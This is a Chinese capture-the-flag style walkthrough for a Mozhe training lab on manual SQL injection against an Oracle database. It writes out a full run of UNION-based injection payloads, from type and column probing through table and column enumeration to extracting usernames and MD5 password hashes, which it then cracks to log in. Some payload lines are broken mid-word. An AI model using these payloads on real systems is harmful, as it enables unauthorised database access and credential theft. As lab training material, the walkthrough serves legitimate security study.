进来之后点下面红框进入到有参数的页面


一.判断注入类型
与其他数据库一样,先判断注入类型,输入
?id=1 and 1=1页面正常
?id=1 and 1=2页面异常,说明存在注入,并且是数值型


二.判断列数
通过order by来判断字段数。因为order by 2⻚⾯正常,order by 3⻚⾯不正常,故判断
当前字段数为2


三.判断回显点
输入?id=1 union select 'null','null' from dual

四.查询数据库版本
输入
?id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual

五.查询数据库名
输入?id=-1 union select 'null',(select instance_name from V$INSTANC
E) from dual

六.查询表名
第一个表名,输入
?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

第二个表名,输入
?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

第三个表,输入
?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual

查询数据库表名,查询表名⼀般查询admin或者user表
所以我们也可以使用模糊搜索,输入
?id=-1 union select 'null',(select table_name from user_tables
where table_name like '%user%' and rownum=1) from dual

七.查询列名
第一列,输入
?id=-1 union select 'null',(select column_name from user_tab_co
lumns where table_name='sns_users' and rownum=1) from dual

第二列,输入
?id=-1 union select 'null',(select column_name from user_tab_co
lumns where rownum=1 and column_name not in 'USER_NAME') from dual

。。。
。。。一次查询(语法:and...not in+上次查询的列名)
同样我们可以使用模糊搜索:
输入
?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dual

输入
?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%' and column_name <> 'USER_NAME') from dual

八.结果
输入
?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

我们去md5解密一下

发现没有结果,那么我们继续查询下一个,输入
?id=-1 union select USER_NAME,USER_PWD from "sns_users" where r
ownum=1 and USER_NAME <> 'zhong'

去解密发现还是没有,继续查询
?id=-1 union select USER_NAME,USER_PWD from "sns_users" where r
ownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

解密这个发现密码出来了

九.登录
返回墨者登录页面


就可以提交了,以上就是 【墨者】SQL手工注入(Oracle数据库) 的通关攻略
